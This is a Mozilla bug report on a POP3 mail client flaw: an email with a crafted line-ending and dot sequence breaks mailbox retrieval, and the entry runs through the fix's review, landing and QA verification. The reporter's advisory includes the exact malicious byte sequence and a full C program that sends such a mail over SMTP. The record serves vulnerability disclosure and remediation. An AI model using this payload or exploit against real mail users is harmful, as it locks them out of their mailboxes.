144228 - Malicious email breaks POP server connection

Status: VERIFIED FIXED

(MailNews Core :: Security, defect)

Description

[Mitchell Stoltz (not reading bugmail)]

Reported by [e-mail]:
-------------------------------------
Hi,

I have found a bug is mozilla,
involving the retreiving part of it,
it can block the retreiving of the mail box, and the only way is
to use telnet to delete the bad mail or, using others mailclient.

the blocking effect is due to mishandling of \r\n, for more information
use the C code that I have join in the bottom of this mail.

I have wrote all the info in this little text, I will not distribute
this text until the bug gets fix, and when it will, the code will
be corrupt to not let some "script kiddies" plays at DoSing anyone...

Apart from this, Mozilla is great! :]

////////////////////////////////////////////
///// Strange Software Behaviour Reports #1 of [e-mail]
///
//// discovered, understood and exploited between 05, 08 2001
//// (yes, i took the time... :) )

\/\/\_/-> System affected:
        All versions of Netscape
        All versions of Mozilla (even the 2002041711)

^\/\/'\-> System not affected:
        Outlook Express
        Outlook 2000
        IncrediMail(thks to ben81 for testing)

|_/\/\\/> Buggy software team contacted about this: in process...

/\/\/\_/> Exploitation: remote & very easy & very anonymous :(

_/\/\/\_> Effects: With this remote hole, we can block any mail
        box that is checked with a pop3 client, so the
        hotmail, caramail like servers are not affected.
        A mail will cause the pop3 client to desynchronize
        with the server, losing the connection to it, and
        so, leaves all messages on the server (explain later)...

        In Netscape, we could only see the header of the message,
        in Mozilla, we could see the begin of the mail message...

-/\/\/\/> Explanation: In the SMTP protocol, we can send mail with
        some introduction command (ehlo,mail,rcpt) and then
        type our messages and place a dot at a new line to
        specify to the MTA that it is the end of the message.
        On the other side, when a POP3 client check mail, it
        connect to the server, retreive the mail, it terminate
        the download of a message when it sees a dot at a new line.
        And here is the trick.
        If we can place a dot at a new line, and place other
        words below this dot, the client will beleive the mail
        is finished and will try to download next messages, thus
        beiing desynchronize with the server...
        The POP3 client act as:
            login on to the POP3 server
            retrieve mails
            delete mails
            logout
        but if it is desynchronize, it will retreive mail, and
        disconnect, thus didn't delete mails, and the next time
        it login, it will refind the same mail, will retreive one
        more time the mails, disconnect, and other and other...
        A more detailed explanation,
        here it is a simple end of a normal mail:
            blabla...
            \x0a
            \x0a
        and this is the bad mail:
            blabla...
            \x0a\x0d\x2e\x0d\x20\x0a\x0a\x0a
            blabla...
            \x0a\x20\x00
            \x0a
        We can see at the end of the two 0x0a, it seems that it is just
        place here by the console...forget it.
        At this stage, you could catch the bug...
        Bad implementation of \r\n ?

=\/\/\/-> Possible fixes: There are different ways to fix this,
        - one way is from the client, to stop the bad mail,
            this is to connect manually via telnet to the pop3
            server, and then identify the bad message and do a
            dele <# of the message>
        - one better way is to fix this from the client itself,
            the client can get the size of each messages via
            the list command, so it should be able to retrieve
            the complete message, not less, not more...
        - one way is to fix the MTA so it will not accept such
            the code below...

~\/\/\/~> Exploit:

/* this is the code that comes with my
 * advisory #1 to illustrate this...
 * [e-mail]
 */

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr,"\b\bbye!\n");
    close(sock);
    free(buffer);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT,SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr),*(hp->h_addr_list),sizeof(struct in_addr));
    if (connect(sock,&sout,sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    recv(sock,buffer,255,MSG_OOB); /* receive the banner... */
    fprintf(stderr,buffer);

    send(sock,EHLO,sizeof(EHLO),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the welcome message... */
    fprintf(stderr,buffer);

    send(sock,MAIL,sizeof(MAIL),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the acknowledgement to mail from. */
    fprintf(stderr,buffer);

    send(sock,RCPT,sizeof(RCPT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* idem, but for the rcpt to... */
    fprintf(stderr,buffer);

    send(sock,DATA,sizeof(DATA),MSG_OOB);
    recv(sock,buffer,255,0);
    fprintf(stderr,buffer);

    i=sprintf(buffer,"b4d maIl 1n
4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1,"\n.\n");
    send(sock,buffer,i+1+3,0); /* send the dumb thing ... */
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    send(sock,QUIT,sizeof(QUIT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    close(sock);

    return 0;
}

Comment 1

[Mitchell Stoltz (not reading bugmail)]

Over to mscott. Scott, can you take a look?

Comment 2

[scottputterman]

reassigning to naving.

Comment 3

[Navin Gupta]

*** Bug 144560 has been marked as a duplicate of this bug. ***

Comment 4

[Navin Gupta]

Attachment: proposed fix

The fix is to use the message size together with the termination octet to
determine when we have completely downloaded a message. Some servers do not
return the message size with retr response but we know the message size from
'list' command that is done prior to 'retr' any message.

Comment 5

[Navin Gupta]

David, can you review?  thx. I'll get mscott to sr.

Comment 6

[David :Bienvenu]

can you get someone else to review? I'll sr.

Comment 7

[David :Bienvenu]

Comment on attachment 86510 [details] [diff] [review]
proposed fix

sr=bienvenu

Comment 8

[Navin Gupta]

cavin, can I get r=?, thx. 

Comment 9

[Cavin Song]

Comment on attachment 86510 [details] [diff] [review]
proposed fix

r=cavin.

Comment 10

[Asa Dotzler [:asa]]

Comment on attachment 86510 [details] [diff] [review]
proposed fix

a=asa (on behalf of drivers) for checkin to the 1.1 trunk.

Comment 11

[scottputterman]

Once this lands on the trunk, let's get this verified.  adding adt1.0.1 nomination

Comment 12

[Navin Gupta]

fixed on trunk

Comment 13

[Mitchell Stoltz (not reading bugmail)]

Thanks for the quick fix!

Comment 14

[Jaime Rodriguez, Jr.]

adt1.0.1+ (on ADT's behalf) approval for checkin to the 1.0.1. pls land this on
the 1.0 branch, then add the keywrod "fixed1.0.1".

Comment 15

[Mitchell Stoltz (not reading bugmail)]

Reopening to ensure the branch fix happens.

Comment 16

[Navin Gupta]

closing this again so that QA can verify on trunk. I have asked approval from
drivers for 1.0 branch. We are using keywords for branch fixed and verified. 

Comment 17

[Randell Jesup [:jesup] (needinfo me)]

please check into the 1.0.1 branch ASAP. once landed remove the 
mozilla1.0.1+ keyword and add the fixed1.0.1 keyword

Comment 18

[Navin Gupta]

fixed on branch.

Comment 19

[esther]

Navin, how can I test this.  In the duplicate bug you couldn't reproduce this
with our POP server and test account, you asked the reporter to send the same
message to another POP account using a different server.  I did not see that the
reporter did that.  Do you have a test case (an email that I can edit as new and
send) to see the problem?

Comment 20

[Navin Gupta]

[e-mail] has this message, hopefully. Ask sheela for details. She owns
the acct.

Comment 21

[esther]

I need the message that causes the problem sent to the above mentioned mail
account again for me to test the fix. Sent a request to the reporter of the dup
bug 6-17-2002

Comment 22

[esther]

cc'ing sheela since she is the qa owner for the dup'd bug

Comment 23

[esther]

I notified the owner of the malicious email again asking for it to be sent to
our test account. Will wait until 6-24, then try something else.

Comment 24

[esther]

Using branch build 20020621 on winxp, linux and mac os9.1, branch build 20020618
on Mac OS10.1 and the malicious email sent to our test account by the original
reporter this is fixed.  Verified.
Note, I confirmed I saw the problem using builds dated before the fix.  I
received and error message when trying to download messages after the malicious
message was downloaded.  Then with the same profile and a fixed branch build, I
was able to get new messages that came in after the malicious message.  I will
now try this on the latest trunk builds to complete the verification.

Comment 25

[esther]

Verified on trunk builds: 20020617 winxp, 20020614 linux, 20020613 mac os10.1
and 20020610 mac 9.1  Resolving as verfied now since it was verified on trunk
and branch builds.